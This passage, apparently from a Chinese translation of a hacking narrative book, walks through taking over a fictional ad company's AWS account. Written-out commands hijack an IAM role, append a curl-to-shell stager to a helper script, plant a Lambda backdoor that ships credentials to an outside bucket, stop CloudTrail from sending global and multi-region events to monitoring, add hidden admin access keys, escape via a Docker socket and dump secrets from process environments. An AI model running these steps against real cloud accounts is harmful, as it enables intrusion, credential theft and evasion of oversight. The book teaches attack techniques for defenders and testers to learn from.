        "Resource": "*"
`--snip--`

列表 10-7:获取授予 Jenkins 账户的访问权限

看看策略输出中的所有星号。星星。到处都是星星。真的是。Jenkins 可以访问 MXR Ads 使用的每一个 AWS 服务,从 IAM 到 Lambda 以及更多。我们终于对 MXR Ads 的 AWS 账户拥有了完全且无可争议的控制权。

接管 Lambda

我们回到最初激发这个冒险的目标:假扮附加到 Lambda 函数dmp-sync的 IAM 角色,它将数据复制到 Gretsch Politico。

现在我们拥有了对 IAM 服务的无限访问权限,让我们来探索这个 Lambda 的角色(见列表 10-8)。

root@Point1:~/# export AWS_PROFILE=jenkins
root@Point1:~/# aws iam get-role lambda-dmp-sync
 "RoleName": "dmp-sync",
 "Arn": "arn:aws:iam::886371554408:role/dmp-sync",
 "AssumeRolePolicyDocument": {
     "Version": "2012-10-17",
     "Statement": [{
          "Effect": "Allow",
          "Principal": {
 "Service": "lambda.amazonaws.com"
           },
              "Action": "sts:AssumeRole"
      }]
`--snip--`

列表 10-8:lambda-dmp-sync角色的 IAM 角色策略

AssumeRolePolicyDocument属性指定了哪些实体被允许假扮给定角色。请注意,唯一被信任来假扮此角色的实体是 AWS Lambda 服务本身(lambda.amazonaws.com)。为了正确地假扮这个角色,我们需要注册一个新的 Lambda,将其分配给这个新角色,并执行我们喜欢的任何代码。或者,我们也可以更新当前 Lambda 的代码来执行我们的命令。

第三种选择,可能是最简单的一种选择,就是临时更新角色的策略,将 Jenkins 用户包括在内。这个变更不能持续太久,因为在这个特定时间窗口内执行terraform plan的任何人都会注意到额外的账户,可能会引起一些怀疑。因此,我们需要迅速行动。我们将修改“假设角色”策略,生成有效期为 12 小时的临时凭证,然后恢复原始策略。完成所有操作的时间不到一秒钟。

在列表 10-9 中,我们将当前角色策略保存到一个文件,并偷偷插入一行"AWS": "arn:aws:iam::886371554408:user/jenkins",以便将 Jenkins 添加为受信任的用户。

{
  "Version": "2012-10-17",
  "Statement": [{
     "Effect": "Allow",
     "Principal": {
        "Service": "lambda.amazonaws.com",
        "AWS": "arn:aws:iam::886371554408:user/jenkins"
     },
     "Action": "sts:AssumeRole"
  }]
}

列表 10-9:允许 Jenkins 假扮 Lambda 所用 IAM 角色的 IAM 角色策略

我们提交这个新角色策略,并迅速发出assume-role API 调用,获取临时凭证来假扮lambda-dmp-sync角色:

 root@Point1:~/# aws iam update-assume-role-policy \
**--role-name lambda-dmp-sync \**
**--policy-document file://new_policy.json**

root@Point1:~/# aws sts assume-role \
**--role-arn arn:aws:iam::886371554408:user/lambda-dmp-sync \**
**--role-session-name AWSCLI-Session \**
**--duration-seconds 43200**

"AccessKeyId": "ASIA44ZRK6WSZAFXRBQF",
"SecretAccessKey": "nSiNoOEnWIm8h3WKXqgRG+mRu2QVN0moBSTjRZWC",
"SessionToken": "FwoGZXIvYXdzEL///...
"Expiration": "2019-12-12T10:31:53Z"

好的。这些临时凭证将在 12 小时内有效,即使 Jenkins 不再在信任策略中。最后,我们恢复原始策略,以避免任何怀疑:

root@Point1:~/# aws iam update-assume-role-policy \
**--role-name lambda-dmp-sync \**
**--policy-document file://old_policy.json\**
**--profile jenkins**

我们将新密钥加载到 AWS CLI 中,继续探索 Gretsch Politico 的桶 gretsch-streaming-jobs(列表 10-10)。这就是前面章节中提到的dmp-sync Lambda 使用的桶。

root@Point1:~/# vi ~/.aws/credentials
[dmp-sync]
aws_access_key_id = ASIA44ZRK6WSZAFXRBQF
aws_secret_access_key = nSiNoOEnWIm8h3WKXqgRG+mRu2QVN0moBSTjRZWC
aws_session_token = FwoGZXIvYXdzEL//...

root@Point1:~/# aws s3api list-objects-v2 \
**--bucket gretsch-streaming-jobs \**
**--profile dmp-sync > list_objects_gp.txt**

root@Point1:~/# head list_objects_gp.txt

"Key": "rtb-bid-resp/2019/12/11/10/resp-0-141d08-ecedade-123...",
"Key": "rtb-bid-resp/2019/12/11/10/resp-0-753a10-3e1a3cb-51c...",
"Key": "rtb-bid-resp/2019/12/11/10/resp-0-561058-8e85acd-175...",
"Key": "rtb-bid-resp/2019/12/11/10/resp-1-091bd8-135eac7-92f...",
"Key": "rtb-bid-resp/2019/12/11/10/resp-1-3f1cd8-dae14d3-1fd...",
--`snip`--

列表 10-10:gretsch-streaming-jobs 桶中存储的对象列表

MXR 广告似乎在向 GP 提供竞标响应,这些响应告诉他们在某个网站上、给定的 cookie ID 上展示了哪个视频。还有其他一些关键指标,奇怪的是,许多公司会认为这些是敏感材料,例如每个竞标请求的原始日志,其他客户的活动数据……列表还在继续。

gretsch-streaming-jobs 存储桶真的是巨大的。它包含了数以 TB 计的原始数据,而我们根本无法处理这些数据,也不愿意去处理。GP 更适合做这类事情。我们最好沿着这条面包屑线索走下去,希望它能把我们带到最终的“蛋糕”。

在这个巨大的数据湖中,隐藏在诱人的helpers键下,我们发现了一些在几周前才被修改过的有趣可执行文件:

"Key": "helpers/ecr-login.sh",
"LastModified": "2019-11-14T15:10:43.000Z",

"Key": "helpers/go-manage",
"LastModified": "2019-11-14T15:10:43.000Z",
`--snip--`

有趣。在这里,我们发现了一些可执行对象,很可能在 GP 拥有并操作的机器上执行。这可能正是我们进入 Gretsch Politico 的 AWS 账户的钥匙。根据定义,我们的 Lambda 角色可以写入 gretsch-streaming-jobs 存储桶。问题是,GP 是否足够聪明,只将 Lambda 限制在rtb-bid-resp子键上?让我们来测试一下:

root@Point1:~/# aws s3api put-object \
**--bucket gretsch-streaming-jobs \**
**--key helpers/test.html --body test.html \**
**--profile dmp-sync**

"ETag": "\"051aa2040dafb7fa525f20a27f5e8666\""

没有错误。就当是邀请我们越过边界吧,伙计们!这些助手脚本很可能是由 GP 的资源提取并执行的。如果我们修改它们,就可以劫持执行流程,调用我们自己的自定义 stager,从而在 GP 组件上获得一个新的 shell!

我们下载helpers/ecr-login.sh,附加一个命令来执行我们的自定义 meterpreter stager,然后重新提交该文件。像往常一样,这个 stager 将托管在我们自己 AWS 账户中的另一个假存储桶 gretsch-helpers 中:

root@Point1:~/# aws s3api get-object \
**--bucket gretsch-streaming-jobs\**
**--key helpers/ecr_login.sh ecr-login.sh \**
**--profile dmp-sync**

root@Point1:~/# echo "true || curl https://gretsch-helpers.s3.amazonaws.com/helper.sh |sh" >> ecr-login.sh

root@Point1:~/# aws s3api put-object \
**--bucket gretsch-streaming-jobs \**
**--key helpers/ecr-login.sh \**
**--body ecr-login.sh \**
**--profile dmp-sync**

现在我们等待。我们等上几个小时,等待某个地方、某个人触发我们的有效载荷,如果它真的会被触发的话。毕竟,我们无法保证ecr-login助手确实被使用了。我们甚至没有费心去检查它到底做了什么。无论如何,现在已经太晚了。让我们祈祷一切顺利吧。

资源

  • AWS STS 的文档可以在amzn.to/38j05GM找到。

  • 更多关于 AWS Lambda 的强大功能,请参见 Kelsey Hightower(Google 员工)在 KubeCon 2018 上展示的演讲《Kubernetes and the Path to Serverless》:bit.ly/2RtothP.(没错,你没看错——他在 Google 工作。)

第十一章:然而,我们依旧坚持了下来

当我们等待我们的 shell 向主机发送信号时,还有一项小任务需要我们立即处理:AWS 持久化。有人可能会辩称,Jenkins 的访问密钥提供了我们所需的所有持久化,因为访问密钥通常很难旋转,并且需要检查数百个作业,以查找潜在的硬编码凭证。它是任何 DevOps 基础设施中的关键组成部分,具有讽刺意味的是,它也容易遭遇 DevOps 对抗的同样谬论——最新的证据就是我们从 Chef 获取的凭证仍然在使用中。

然而,我们在等待 GP 机器上的 shell 时还有一些空闲时间,所以让我们进一步巩固对 MXR Ads 的控制。

AWS 哨兵

对 AWS 账户进行后门植入是一项精细的操作,需要在充满监控工具和敏感警报的环境中航行。AWS 已经做出了相当大的努力,通过各种指标来引导客户识别可疑活动以及认为不安全的配置。

在盲目攻击或后门植入一个账户之前,应该特别注意两个 AWS 特性:IAM 访问分析器和 CloudTrail Insights。

IAM 访问分析器会标记每个授予外部实体读/写权限的策略文档。它主要覆盖 S3 存储桶、KMS 密钥、Lambda 函数和 IAM 角色。当这个功能首次推出时,它打破了一个非常隐秘的持久化策略:在受害者账户中创建管理员角色,并授予一个外部(我们的)AWS 账户假设角色的权限。

我们可以快速检查 eu-west-1 区域是否生成了任何访问分析器报告:

root@Point1:~/# aws accessanalyzer list-analyzers --region=eu-west-1
{ "analyzers": [] }

MXR Ads 目前还没有利用这一功能,但我们不能指望公司的无知能让我们持续保持后门,尤其是当这个功能只需要点击一次就能暴露我们的后门时。

CloudTrail 是一项 AWS 服务,它几乎会记录每个 AWS API 调用,采用 JSON 格式,并可选择性地将日志存储在 S3 上,或将其转发到像 CloudWatch 这样的其他服务,以便配置指标和警报。清单 11-1 是一个 IAM 调用事件的示例,创建了管理员用户的访问密钥。该事件包含了对任何威胁分析师来说至关重要的信息:源 IP 地址、调用者身份、事件来源等等。

# Sample CloudTrail event creating an additional access key
{
    "eventType": "AwsApiCall",
    "userIdentity": {
        "accessKeyId": "ASIA44ZRK6WS32PCYCHY",
        "userName": "admin"
    },
    "eventTime": "2019-12-29T18:42:47Z",
    "eventSource": "iam.amazonaws.com",
    "eventName": "CreateAccessKey",
    "awsRegion": "us-east-1",
    "sourceIPAddress": "215.142.61.44",
    "userAgent": "signin.amazonaws.com",
    "requestParameters": { "userName": "admin" },
    "responseElements": {
        "accessKey": {
            "accessKeyId": "AKIA44ZRK6WSRDLX7TDS",
 "status": "Active",
            "userName": "admin",
            "createDate": "Dec 29, 2019 6:42:47 PM"
}   }   }

清单 11-1:CloudTrail CreateAccessKey 事件

你不得不佩服 AWS 将日志事件做得如此直观。

MXR Ads 拥有覆盖所有区域的全球综合日志策略,如清单 11-2 所示。

root@Point1:~/# aws cloudtrail describe-trails --region=eu-west-1
"trailList": [{
   "IncludeGlobalServiceEvents": true,
   "Name": "Default",
   "S3KeyPrefix": "region-all-logs",
   "IsMultiRegionTrail": true,
 1"HasInsightSelectors": true,
 2"S3BucketName": "mxrads-cloudtrail-all",
   "CloudWatchLogsLogGroupArn": "arn:aws:logs:eu-west-1:886371554408:
log-group:CloudTrail/Logs:*",
...}]

清单 11-2:在 CloudTrail 上配置一个将日志转发到 CloudWatch 和 S3 的轨迹

日志被转发到 S3 存储桶 mxrads-cloudtrail-all 2。

从标志 HasInsightSelectors 1 中,我们看到 MXR Ads 正在尝试一个名为 Insights 的 CloudTrail 功能,它检测 API 调用的激增并将其标记为可疑事件。截至目前,它只报告写操作的 API 调用,如 RunInstanceCreateUserCreateRole 等等。我们仍然可以对只读和侦察性调用进行操作,但一旦开始自动化用户账户创建等操作时,我们必须小心不要触及 CloudTrail Insights 设置的动态阈值。

这两个功能(CloudTrail Insights 和 IAM Access Analyzer)是对其他现有服务的补充,例如 GuardDuty,它们监视可疑事件,如禁用安全功能(CloudTrail)和与已知恶意域的通信。我们可以使用以下命令检查某个区域是否启用了 GuardDuty:

root@Point1:~/# aws guardduty list-detectors --region=eu-west-1
{ "DetectorIds": [ "64b5b4e50b86d0c7068a6537de5b770e" ] }

即使 MXR Ads 忽略了实现所有这些新颖的功能,CloudTrail 作为一个基础组件,几乎每个公司都会默认启用它。我们可以清空存储 CloudTrail 数据的 S3 存储桶,但日志仍然会至少在 CloudTrail 中保留 90 天。

每当日志如此容易获得且非常有用时,谨慎的做法是假设最坏的情况:监控仪表板跟踪 API 调用、IP 地址、调用的服务类型、对高权限服务的异常查询等等。

还有一个锦上添花的因素:Terraform。我们知道 MXR Ads 依赖 Terraform 来维护其基础设施。如果我们手动更改错误的资源,下一次运行 terraform plan 命令时它会像一个显眼的伤口一样引人注目。带有主题“你已被黑” 的邮件或许能更容易被忽略。

这些是在与 AWS 账户交互时需要牢记的主要陷阱。它们真的是地雷,稍有不慎就会爆炸。几乎让人怀念起以前在 Windows Active Directory 中植入后门的日子,那时从单台机器收集和解析事件日志是一个两天的工作。

现在,如果你正处于目标安全性非常差的情况下,并且觉得自己可以通过手动创建几个访问密钥,添加一些可信的 IAM 用户并赋予他们管理员权限,那么请随意。在这种情况下,完全不需要过度设计后门策略,尤其是考虑到 Jenkins 的访问密钥相对稳定。

然而,如果公司看起来过于多疑——严格的访问控制、有限的权限、干净的活跃用户列表,以及正确配置的 CloudTrail、CloudWatch 和其他监控工具——那么你可能需要一个更强大且更加隐蔽的备份策略。

为了讨论的方便,我们暂且给 MXR Ads 一个怀疑的好处,假设情况最坏。我们如何在不被察觉的情况下保持持续的访问?

保持绝对机密

我们的后门策略将遵循最新的设计架构,完全无服务器并且事件驱动。我们将配置一个监视程序,在特定事件发生时触发,并在检测到这些事件时触发一个作业,以恢复我们的访问权限。

翻译成 AWS 行话,监视程序将由一个 Lambda 函数组成,该函数由我们选择的事件触发。例如,我们可以选择一个每天上午 10 点触发的 CloudWatch 事件,或者一个接收到预定义请求的负载均衡器。我们选择一个事件,该事件会在 S3 桶接收到新对象时触发。MXR Ads 和 GP 都使用这个相同的触发器,因此我们有更高的机会与其融合。一旦执行,Lambda 将转储其附加的角色凭证,并将其发送到我们自己的 S3 桶。我们收到的凭证有效期为一小时,但足以恢复持久的访问权限。

让我们回顾一下我们的检测清单:Lambda 函数将由一些频繁发生的内部事件触发(在这种情况下,当对象上传到 MXR Ads 的 S3 桶时),并且作为回应,将执行一个相当简单的 put-object 调用,将包含其凭证的文件存储到远程桶。IAM Access Analyzer 几乎不会有任何反应。

Terraform 在设置阶段不会发出强烈的警告,因为大多数资源将被创建,而不是修改。即使源桶已经在状态中声明,从技术上讲,我们仍将添加一个 aws_s3_bucket_notification 资源,这是 Terraform 中一个完全独立的实体。我们所需要做的就是选择一个没有 Terraform 通知设置的桶,之后就可以继续操作了。

至于 CloudTrail,它将记录的唯一事件是可信服务 lambda.amazonaws.com 模拟角色执行 Lambda。这是任何 Lambda 执行中固有的琐碎事件,不会引起 Insights 和 GuardDuty 的注意。

一切看起来都很顺利!

执行程序

让我们进入实现阶段。Lambda 将运行的程序是一个直接的 Go 二进制文件,按照刚才描述的关键步骤执行。完整的实现可以在本书的代码库中找到(bit.ly/2Oan7I7),以下是主要逻辑的简要概述。

每个注定要在 Lambda 环境中运行的 Go 程序都会从相同的模板 main 函数开始,注册 Lambda 的入口点(在本例中为 HandleRequest):

func main() {
    lambda.Start(HandleRequest)
}

接下来,我们有一个经典的设置,用来构建一个 HTTP 客户端并创建远程 S3 URL 以提交我们的响应:

const S3BUCKET="mxrads-analytics"
func HandleRequest(ctx context.Context, name MyEvent) (string, error) {
    client := &http.Client{}
    respURL := fmt.Sprintf("https://%s.s3.amazonaws.com/setup.txt", S3BUCKET)

我们从环境变量中转储 Lambda 的角色凭证,并将其发送到我们的远程桶:

 accessKey := fmt.Sprintf(`
        AWS_ACCESS_KEY_ID=%s
        AWS_SECRET_ACCESS_KEY=%s
        AWS_SESSION_TOKEN=%s"`,
            os.Getenv("AWS_ACCESS_KEY_ID"),
            os.Getenv("AWS_SECRET_ACCESS_KEY"),
            os.Getenv("AWS_SESSION_TOKEN"),
        )
    uploadToS3(s3Client, S3BUCKET, "lambda", accessKey)

uploadToS3 方法是一个简单的 PUT 请求,发送到之前定义的 URL,因此从源代码中可以很容易理解其实现,源代码总共有大约 44 行。

我们编译代码,然后将二进制文件压缩:

root@Point1:lambda/# make
root@Point1:lambda/# zip function.zip function

现在我们将注意力转向设置 Lambda。

构建 Lambda

Lambda 需要一个具有强大 IAM 和 CloudTrail 权限的执行角色,以帮助我们维持隐秘的长期访问(稍后会详细说明)。

我们寻找有潜力的候选者,以便用 Lambda AWS 服务进行伪装。请记住,为了伪装一个角色,必须满足两个条件:用户必须能够发起 sts assume-role 调用,并且该角色必须允许该用户进行伪装。我们列出了 MXR Ads AWS 账户中的可用角色:

root@Point1:~/# aws iam list-roles \
**| jq -r '.Roles[] | .RoleName + ", " + \**
**.AssumeRolePolicyDocument.Statement[].Principal.Service' \**
**| grep "lambda.amazonaws.com"**

dynamo-access-mgmt, lambda.amazonaws.com
chef-cleanup-ro, lambda.amazonaws.com
`--snip--`

我们检查每个角色的 IAM 策略,直到找到一个具有我们所需权限的角色——理想情况下是完全的 IAM 和 CloudTrail 访问权限:

root@Point1:~/# aws iam list-attached-role-policies --role dynamo-ssh-mgmt --profile jenkins

"AttachedPolicies": [
     "PolicyName": IAMFullAccess",
     "PolicyName": cloudtrail-mgmt-rw",
     "PolicyName": dynamo-temp-rw",
`--snip--`

dynamo-ssh-mgmt 角色可能可以派上用场,因为它具有 IAMFullAccess 策略。狡猾。如果我们在 MXR Ads 的 AWS 账户中从零开始创建角色,我们可能不会敢于附加这样一个明显的策略。然而,既然他们已经在使用它,我们不妨利用一下。而且,这个角色缺少 CloudWatch 写权限,因此 Lambda 在终止时会悄悄丢弃其执行日志,而不是将其传递给 CloudWatch。完美。

一如既往,我们通过遵循现有的命名约定来试图隐匿在明处。我们查看 eu-west-1 区域中现有的 Lambda 函数,以寻求灵感:

root@Point1:~/# aws iam lambda list-functions –region=eu-west-1
"FunctionName": "support-bbs-news",
"FunctionName": "support-parse-logs",
"FunctionName": "ssp-streaming-format",
`--snip--`

我们决定使用名称 support-metrics-calc,并调用 create-function API 来注册我们的后门 Lambda:

root@Point1:~/# aws lambda create-function --function-name support-metrics-calc \
**--zip-file fileb://function.zip \**
**--handler function \**
**--runtime go1.x \**
**--role arn:aws:iam::886371554408:role/dynamo-ssh-mgmt \**
**--region eu-west-1**

现在来看触发事件本身。

设置触发事件

理想情况下,我们希望瞄准一个由 MXR Ads 定期更新的 S3 桶,但并不会频繁到每天触发 Lambda 1,000 次的程度。

那么,怎么样呢?s4d.mxrads.com 是我们在第八章中查看过的存储所有创意的桶。通过一个快速的 list-objects-v2 API 调用可以发现,更新速度相对较慢,每天在 50 到 100 个文件之间:

root@Point1:~/# aws s3api list-objects-v2 --bucket s4d.mxrads.com > list_keys.txt
 "Key": "2aed773247f0211803d5e67b/82436/vid/720/6aa58ec9f77aca497f90c71c85ee.mp4",
 "LastModified": "2019-12-14T11:01:48.000Z",
`--snip--`

root@Point1:~/# grep -c "2020-12-14" list_keys.txt
89
root@Point1:~/# grep -c "2020-12-13" **list_keys.txt**
74
`--snip--`

我们可以通过对触发通知事件的对象进行采样来减少触发率。我们将设置为仅以 "2" 开头的对象才会触发 Lambda,这样我们就得到了 1/16 的采样率(假设十六进制键空间均匀分布)。这大约意味着每天三到六次调用。

成交。

我们明确允许 S3 服务调用我们的 Lambda 函数。statement-id 参数是一个任意的、唯一的名称:

root@Point1:~/# aws lambda add-permission \
**--function-name support-metrics-calc \**
**--region eu-west-1 \**
**--statement-id s3InvokeLambda12 \**
**--action "lambda:InvokeFunction" \**
**--principal s3.amazonaws.com \**
**--source-arn arn:aws:s3:::s4d.mxrads.com \**
**--source-account 886371554408 \**
**--profile jenkins**

然后,我们设置桶规则,仅在创建以 "2" 前缀开头的对象时触发事件:

root@Point1:~/# aws s3api put-bucket-notification-configuration \
**--region eu-west-1 \**
**--bucket mxrads-mywebhook \**
**--profile jenkins \**
**--notification-configuration file://<(cat << EOF**
**{**
 **"LambdaFunctionConfigurations": [{**
 **"Id": "s3InvokeLambda12",**
 **"LambdaFunctionArn": "arn:aws:lambda:eu-west-1:886371554408**
**:function:support-metrics-calc",**
 **"Events": ["s3:ObjectCreated:*"],**
 **"Filter": {**
 **"Key": {**
 **"FilterRules": [{**
 **"Name": "prefix",**
 **"Value": "2"**
 **}]**
 **}**
 **}**
 **}]**
**}**
**EOF**
**)**

太棒了。我们有了一个可靠的持久化策略,能够绕过旧的和新的检测功能。

假设我们的 Jenkins 访问权限被撤销,并且我们希望使用 Lambda 凭据重新建立永久访问。我们是否应该直接创建一个拥有无限权限的新 IAM 用户,继续我们的生活?这不是最明智的做法。任何基于 CloudTrail 的监控解决方案都可能在几分钟内捕捉到这个异常请求。

如我们之前所见,当前的 CloudTrail 配置将所有区域的日志汇总到 eu-west-1 区域。然后,这些日志会被推送到 S3 和 CloudWatch,供监控设备使用。这个事件转发功能被称为 trail

在调用任何 IAM 操作之前,我们需要打乱这个日志记录。

隐藏痕迹

请注意,我们的目的是打乱日志记录,而不是完全禁用它。事实上,目前无法完全禁用 CloudTrail 或使其跳过事件。无论我们做什么,我们的 API 调用仍然会出现在 CloudTrail 事件仪表板上,持续 90 天。

然而,日志记录可以重新配置,排除某些事件的转发。我们甚至可以在执行恶意任务时,将整个区域的日志记录隐藏。

没有日志记录意味着 S3 上没有日志,没有 GuardDuty,没有 CloudTrail Insights,没有 CloudWatch 指标,也没有自定义安全仪表板。就像多米诺骨牌一样,所有的监控工具,无论是 AWS 内部还是外部,都会相继倒下,发出沉默的巨响。如果我们添加 100 个 IAM 用户或在圣保罗启动 1,000 个实例,除了财务部门外,没人会注意到。

这是一个简短的示例,展示了我们如何重新配置日志记录以排除全局(IAM、STS 等)和多区域事件:

root@Point1:~/# curl https://mxrads-report-metrics.s3-eu-west-1.amazonaws.com/lambda

AWS_ACCESS_KEY_ID=ASIA44ZRK6WSTGTH5GLH
AWS_SECRET_ACCESS_KEY=1vMoXxF9Tjf2OMnEMU...
AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEPT...

# We load these ENV variables, then disable CloudTrail global and multiregion logging
root@Point1:~/# aws cloudtrail update-trail \
**--name default \**
**--no-include-global-service-events \**
**--no-is-multi-region \**
**--region=eu-west**

"Name": "default",
"S3BucketName": "mxrads-cloudtrail-logs",
"IncludeGlobalServiceEvents": false,
"IsMultiRegionTrail": false,
`--snip--`

从这一刻开始,我们有了 特权授权,可以创建用户和访问密钥,进行各种胡闹。如果有人手动查看 CloudTrail 仪表板,可能会发现我们的 API 调用,前提是我们非常粗心,但所有自动化解决方案和工具都将处于黑暗中。

恢复访问

现在我们已经禁用了 CloudTrail,可以继续创建更永久的 AWS 凭证。

与默认管理员策略关联的用户和组很容易成为攻击目标。IAM 用户的访问密钥最多只有两个,因此我们会找到一个拥有一个或零个访问密钥的用户,并继续注入一个我们将秘密拥有的附加密钥。首先,我们列出用户和组:

root@Point1:~/# aws iam list-entities-for-policy \
**--policy-arn arn:aws:iam::aws:policy/AdministratorAccess**

UserName: b.daniella
UserName: chris.hitch
UserName: d.ressler
`--snip--`

然后我们列出他们当前定义的访问密钥:

# List access keys. If they have less than 2, there's room for another.
root@Point1:~/# aws iam list-access-keys \
**--user b.daniella \**
**| jq ".AccessKeyMetadata[].AccessKeyId"**

"AKIA44ZRK6WS2XS5QQ4X"

很好,b.daniella 只有一个密钥。确定目标后,我们创建一个访问密钥:

root@Point1:~/# aws iam create-access-key --user b.daniella
UserName: b.daniella,
AccessKeyId: AKIA44ZRK6WSY37NET32,
SecretAccessKey: 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,

我们恢复了业务。我们已经重新获得了永久凭证。

我们目前还无法重新启用多区域日志记录。我们需要在最后一次 API 调用后至少等待半小时。这个等待时间至关重要,因为事件到达 CloudTrail 可能需要最多 20 分钟。如果我们过早重新激活全局事件日志记录,一些操作可能会进入日志记录,从而进入 S3、Insights、CloudWatch 和其他平台。

替代(更糟糕)方法

你可能会想,为什么我们不直接使用 Lambda 来自动化后续的 IAM/CloudTrail 操作呢?Lambda 函数最大只能运行 15 分钟,所以很有可能它会过早地重新启用全局事件日志。我们可以在我们这边挂载另一个 Lambda 来避免这种竞争条件,但这对于如此简单的事情来说,太过繁琐了。

另外,我们也可以选择直接在 Lambda 环境中运行反向 Shell,但那并不方便。该函数运行在一个最小化的容器中,文件系统以只读方式挂载,除了/tmp文件夹,该文件夹没有可执行标志。我们需要手动将反向 Shell 加载到内存中作为独立进程运行,以避免被 Lambda 处理程序终止。这一切又是为了什么?一个缺乏最基本实用工具的荒芜之地,而且 AWS 会在 60 分钟内回收它?不值得。

资源

第十二章:Apotheosis

当我们在摆弄我们的 Lambda 后门时,Gretsch Politico 的某个人好心地触发了嵌套在ecr-login.sh脚本中的反向 shell。不止一次,而是多次。大多数会话似乎在大约 30 分钟后超时,因此我们需要迅速且高效地评估这个新环境,并找到在其中横向渗透的新方法。我们打开其中一个 meterpreter 会话,并在远程机器上生成一个 shell:

meterpreter > **shell**
Channel 1 created.

# id
1 uid=0(root) gid=0(root) groups=0(root)

# hostname
2 e56951c17be0

我们可以看到,我们以 root 身份 1 运行在一个随机命名的机器 2 上。是的,我们很可能在一个容器内。因此,我们运行了env命令来揭示任何注入的机密信息,并运行了mount命令来显示主机共享的文件夹和文件。接下来,我们执行了几条查询元数据 API 的命令,请求该机器上附加的 IAM 角色(见列表 12-1)。

# env
HOSTNAME=cef681151504
GOPATH=/go
PWD=/go
GOLANG_VERSION=1.13.5
# mount
/dev/mapper/ubuntu--vg-root on /etc/hosts type ext4
(rw,relatime,errors=remount-ro,data=ordered)

1 tmpfs on /var/run/docker.sock type tmpfs
(rw,nosuid,noexec,relatime,size=404644k,mode=755)

/dev/mapper/ubuntu--vg-root on /usr/bin/docker type ext4
(rw,relatime,errors=remount-ro,data=ordered)

# apt install -y curl
# curl 169.254.169.254/latest/meta-data/iam/security-credentials/
2 ...<title>404 - Not Found</title>...

列表 12-1:envmount命令的输出,后跟对元数据 API 的查询

env命令的结果中,没有 Kubernetes 变量或协调器名称突出显示。看起来我们被困在一个独立的容器中,环境中没有密码或机密信息。甚至底层机器 2 上也没有附加 IAM 角色,只有一个偷偷摸摸的/var/run/docker.sock 1 被挂载到容器内部,还有一个 Docker 二进制文件。真是周到!

我们可以安全地将可能用于通过curl直接查询/var/run/docker.sock的丑陋 JSON 藏起来,并迅速执行 Docker 命令来枚举当前运行的容器(见列表 12-2)。

# docker ps
CONTAINER ID   IMAGE
1 e56951c17be0   983457354409.dkr.ecr.eu-west-1.amazonaws.com/
               app-abtest:SUP6541-add-feature-network

7f6eb2ec2565   983457354409.dkr.ecr.eu-west-1.amazonaws.com/datavalley:master

8cbc10012935   983457354409.dkr.ecr.eu-west-1.amazonaws.com/libpredict:master
`--snip--`

列表 12-2:主机上运行的容器列表

我们发现该机器上运行着超过 10 个容器,全部从983457354409.dkr.ecr.eu-west-1.amazonaws.com弹性容器注册表(ECR)中拉取。我们知道账户 ID 是 983457354409;我们在 mxrads-dl 的存储桶策略中看到它已被授权。我们的直觉是对的:最终还是 Gretsch Politico 的容器。

所有在列表 12-2 中找到的容器都使用master标签进行启动,除了一个:app-abtest镜像 1,它带有一个奇怪的标签SUP6541-add-feature-network

我们或许已经对这台机器上发生的事情有了一些了解,但在得出结论之前,我们仍然需要最后一块信息。让我们使用docker info命令获取更多主机信息:

# docker info
Name: jenkins-slave-4
Total Memory: 31.859GiB
Operating System: Ubuntu 16.04.6 LTS
Server:
Containers: 546
Running: 12
`--snip--`

嗨,Jenkins,我们的老朋友。现在一切都明了了。我们可以推测,触发我们的负载的,可能是我们可以假设为端到端测试工作负载的某些操作。此实例中触发的任务可能会启动一个容器,使用ecr-login.sh脚本进行 AWS ECR 身份验证,然后提升一部分生产容器,这些容器用master标签标记——如datavalleylibpredict等——以及要测试的实验性 Docker 镜像:ab-test。这也解释了为什么它有一个与其他容器不同的标签。

以这种方式暴露 Docker 套接字在测试环境中是常见做法,在这些环境中,Docker 并不是主要用于其隔离功能,而是用于其打包功能。例如,Crane,一个流行的 Docker 编排工具(github.com/michaelsauter/crane/),用于提升容器及其依赖项。公司可能不会在每台机器上安装 Crane,而是将其打包到一个容器中,并在运行时按需拉取。

从软件的角度来看,这是很棒的。所有任务都使用相同版本的 Crane 工具,而运行测试的服务器变得无关紧要。然而,从安全的角度来看,这实际上使得使用 Docker-in-Docker 技巧成为合法(Crane 在其自己的容器内运行容器),这为地狱的洪水之门打开了。

持久化访问

测试任务只能持续一段时间,然后被丢弃。让我们通过在一个新的容器上运行自定义的 meterpreter,并将其标记为aws-cli,将这种临时访问转变为永久访问:

# docker run \
**--privileged \**
1 **-v /:/hostOS \**
**-v /var/run/docker.sock:/var/run/docker.sock \**
**-v /usr/bin/docker:/usr/bin/docker \**
**-d 886477354405.dkr.ecr.eu-west-1.amazonaws.com/aws-cli**

我们的新反向 Shell 正在一个特权容器中运行,该容器挂载了 Docker 套接字,并将整个主机文件系统挂载到/hostOS 1 目录中:

meterpreter > **ls /hostOS**
bin  boot  dev  etc  home  initrd.img  lib  lib64  lost+found  media  mnt
opt  proc  root  run...

让我们开始吧!

正如我们在第十章中所看到的,Jenkins 由于其调度能力,能够快速聚合大量的权限。它就像是技术世界中的雷曼兄弟——一个在无监管领域中饥渴的存在,受到鲁莽政策制定者的鼓励,且只需一次交易就能让整个经济崩溃。

在这种特殊情况下,这个隐喻中的“交易”恰好是 Jenkins 如何处理环境变量。当一个任务在一个工作节点上调度时,可以配置为仅拉取它运行所需的两三个密钥,或者加载所有可能的密钥作为环境变量。让我们来看看 Gretsch Politico 的管理员到底有多懒。

我们单独列出了在这台机器上由 Jenkins 任务启动的每一个进程:

shell> **ps -ed -o user,pid,cmd | grep "jenkins"**
jenkins   1012   /lib/systemd/systemd –user
jenkins   1013   sshd: jenkins@notty
Jenkins   1276   java -XX:MaxPermSize=256m -jar remoting.jar...
jenkins   30737  docker run --rm -i -p 9876:9876 -v /var/lib/...
`--snip--`

我们将这些进程的 PID 复制到一个文件中,并逐行遍历以获取它们的环境变量,环境变量便捷地存储在路径/prod/$PID/environ下:

shell> **ps -ed -o user,pid,cmd \**
**| grep "jenkins" \**
**| awk '{print $2}' \**
**> listpids.txt**
shell> **while read p; do \**
**cat /hostOS/proc/$p/environ >> results.txt; \**
**done <listpids.txt**

我们将收获上传到远程服务器,并进行一些小的格式调整,然后享受明文结果(见清单 12-3)。

root@Point1:~/#  **cat results.txt**
ghprbPullId = 1068
SANDBOX_PRIVATE_KEY_PATH = /var/lib/jenkins/sandbox
DBEXP_PROD_USER = pgsql_exp
DBEXP_PROD_PAS  = vDoMue8%12N97
METAMARKET_TOKEN = 1$4Xq3_rwn14gJKmkyn0Hho8p6peSZ2UGIvs...
